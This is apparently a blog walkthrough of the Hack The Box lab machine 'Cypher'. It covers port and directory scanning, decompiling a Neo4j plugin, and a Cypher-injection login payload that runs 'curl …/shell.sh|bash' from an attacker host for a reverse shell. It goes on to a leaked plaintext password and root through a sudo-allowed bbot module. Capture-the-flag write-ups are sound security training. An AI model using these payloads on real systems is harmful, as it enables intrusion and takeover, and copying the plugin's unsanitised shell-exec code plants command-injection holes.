Post

Cypher

Cypher

Recon

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo nmap -PN -sC -sV -oN cypher 10.10.11.57       
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 01:03 PKT
Nmap scan report for cypher.htb (10.10.11.57)
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: GRAPH ASM
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.96 seconds

The website only exposes three pages with one being login. We aren’t provided with credentials. We could try directory enumeration and vhost enumeration.

Directory Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gobuster dir -u http://cypher.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

gobuster dir -u http://cypher.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cypher.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 4562]
/about                (Status: 200) [Size: 4986]
/login                (Status: 200) [Size: 3671]
/demo                 (Status: 307) [Size: 0] [--> /login]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/testing              (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]

/testing downloads a jar file.

1
2
3
┌──(kali㉿vm-kali)-[~/htb/cypher]
└─$ ls                    
custom-apoc-extension-1.0-SNAPSHOT.jar 

java -jar gives us a manifest error (no entry point/main). This is most likely a plugin. Neo4j to be exact.

neo4j plugins

plugins: /usr/share/neo4j/plugins

Move the .jar to plugins folder. sudo mv custom-apoc-extension-1.0-SNAPSHOT.jar /usr/share/neo4j/plugins/

Start neo4j and run the query to test if the plugin has loaded.

1
2
3
4
5
6
CALL dbms.procedures() YIELD name, description 
WHERE name CONTAINS "apoc" OR name CONTAINS "custom"
RETURN name, description

"custom.getUrlStatusCode"	"Returns the HTTP status code for the given URL as a string"
"custom.helloWorld"	"A simple hello world procedure"

Does this require a bit of reverse engineering?

Reverse Engineering the .jar

Let’s start with inspecting the contents of the package:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
jar tf custom-apoc-extension-1.0-SNAPSHOT.jar
META-INF/
META-INF/MANIFEST.MF
com/
com/cypher/
com/cypher/neo4j/
com/cypher/neo4j/apoc/
com/cypher/neo4j/apoc/CustomFunctions$StringOutput.class
com/cypher/neo4j/apoc/HelloWorldProcedure.class
com/cypher/neo4j/apoc/CustomFunctions.class
com/cypher/neo4j/apoc/HelloWorldProcedure$HelloWorldOutput.class
META-INF/maven/
META-INF/maven/com.cypher.neo4j/
META-INF/maven/com.cypher.neo4j/custom-apoc-extension/
META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.xml
META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.properties

Now unzip it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d unpacked/
Archive:  custom-apoc-extension-1.0-SNAPSHOT.jar
   creating: unpacked/META-INF/
  inflating: unpacked/META-INF/MANIFEST.MF  
   creating: unpacked/com/
   creating: unpacked/com/cypher/
   creating: unpacked/com/cypher/neo4j/
   creating: unpacked/com/cypher/neo4j/apoc/
  inflating: unpacked/com/cypher/neo4j/apoc/CustomFunctions$StringOutput.class  
  inflating: unpacked/com/cypher/neo4j/apoc/HelloWorldProcedure.class  
  inflating: unpacked/com/cypher/neo4j/apoc/CustomFunctions.class  
  inflating: unpacked/com/cypher/neo4j/apoc/HelloWorldProcedure$HelloWorldOutput.class  
   creating: unpacked/META-INF/maven/
   creating: unpacked/META-INF/maven/com.cypher.neo4j/
   creating: unpacked/META-INF/maven/com.cypher.neo4j/custom-apoc-extension/
  inflating: unpacked/META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.xml  
  inflating: unpacked/META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.properties

After decompiling classes with jd-gui we discover this is how the function custom.getUrlStatusCode() works:

1
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };

Since we found it inside /testing there’s a high chance they created an API for this purpose. We can leverage the above function for Command Injection or to be more precise Cypher Injection since the backend is using neo4j.

Recursive Fuzzing

Decompiling the classes with jd-gui pretty much lead me nowhere. We will recursively fuzz the /api directory as the current redirection just leads to /api/docs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gobuster dir -u http://cypher.htb/api -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cypher.htb/api
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/auth                 (Status: 405) [Size: 31]

/api/auth presents with method not allowed. So a direct POST should work?

POST Method

1
2
3
4
5
6
7
8
HTTP/1.1 422 Unprocessable Entity
Server: nginx/1.24.0 (Ubuntu)
Date: Wed, 16 Jul 2025 21:08:23 GMT
Content-Type: application/json
Content-Length: 82
Connection: keep-alive

{"detail":[{"type":"missing","loc":["body"],"msg":"Field required","input":null}]}

One thing we can confirm is that the method requires json values to be passed.

alt text

Passing the creds:

1
2
3
4
{
"username":  "admin",
"password": "admin"
}

Gets us an Invalid Credentials response. This json request opens up the attack surface for Cypher Injection.

From the class that we decompiled:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class CustomFunctions {
  @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
  @Description("Returns the HTTP status code for the given URL as a string")
  public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
    if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
      url = "https://" + url; 
    String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
    System.out.println("Command: " + Arrays.toString((Object[])command));
    Process process = Runtime.getRuntime().exec(command);
    BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
    StringBuilder errorOutput = new StringBuilder();
    String line;
    while ((line = errorReader.readLine()) != null)
      errorOutput.append(line).append("\n"); 
    String statusCode = inputReader.readLine();
    System.out.println("Status code: " + statusCode);
    boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
    if (!exited) {
      process.destroyForcibly();
      statusCode = "0";
      System.err.println("Process timed out after 10 seconds");
    } else {
      int exitCode = process.exitValue();
      if (exitCode != 0) {
        statusCode = "0";
        System.err.println("Process exited with code " + exitCode);
      } 
    } 
    if (errorOutput.length() > 0)
      System.err.println("Error output:\n" + errorOutput.toString()); 
    return Stream.of(new StringOutput(statusCode));
  }
  
  public static class StringOutput {
    public String statusCode;
    
    public StringOutput(String statusCode) {
      this.statusCode = statusCode;
    }
  }
}

We see the name of the function to call custom.getUrlStatusCode(), the parameter that we have to pass url, and the return value statusCode.

Payload for Reverse Shell

1
2
3
4
{
"username":  "admin' RETURN 1 AS a UNION CALL custom.getUrlStatusCode(\"cypher.com;curl 10.10.16.96:8000/shell.sh|bash;#\") YIELD statusCode as a RETURN a//",
"password": "admin"
}

Foothold as neo4j

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
neo4j@cypher: ls -la /home/graphasm/
total 36
drwxr-xr-x 4 graphasm graphasm 4096 Feb 17 12:40 .
drwxr-xr-x 3 root     root     4096 Oct  8  2024 ..
lrwxrwxrwx 1 root     root        9 Oct  8  2024 .bash_history -> /dev/null
-rw-r--r-- 1 graphasm graphasm  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 graphasm graphasm 3771 Mar 31  2024 .bashrc
-rw-r--r-- 1 graphasm graphasm  156 Feb 14 12:35 bbot_preset.yml
drwx------ 2 graphasm graphasm 4096 Oct  8  2024 .cache
-rw-r--r-- 1 graphasm graphasm  807 Mar 31  2024 .profile
drwx------ 2 graphasm graphasm 4096 Oct  8  2024 .ssh
-rw-r----- 1 root     graphasm   33 Jul 16 19:37 user.txt
neo4j@cypher:/$ cat /home/graphasm/user.txt
cat /home/graphasm/user.txt
cat: /home/graphasm/user.txt: Permission denied
neo4j@cypher:/$ cat /home/graphasm/bbot_preset.yml
cat /home/graphasm/bbot_preset.yml
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

graphasm:cU4btyib.20xtCMCXkBmerhK works for su.

On running LinPEAS we encountered bbot quite a number of times. Perhaps that is supposed to be our next target.

sudo -l

1
2
3
4
5
6
7
8
9
sudo -l
sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

BBOT Vulnerability

BBOT allows execution of custom Python modules during OSINT scans. When configured as a sudo-executable (e.g., via NOPASSWD), a malicious module can escalate privileges via the setup() function.

Privilege Escalation

Get the files from: https://github.com/Housma/bbot-privesc.git

Transfer them to victim machine.

We can simply get a root shell by:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
graphasm@cypher:~$ sudo /usr/local/bin/bbot -t dummy.com -p ./preset.yml --event-types ROOT
<bot -t dummy.com -p ./preset.yml --event-types ROOT
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[INFO] Scan with 1 modules seeded with 1 targets (1 in whitelist)
[INFO] Loaded 1/1 scan modules (systeminfo_enum)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[SUCC] systeminfo_enum: 📡 systeminfo_enum setup called — launching shell!
root@cypher:/home/graphasm# cat /root/root.txt
cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.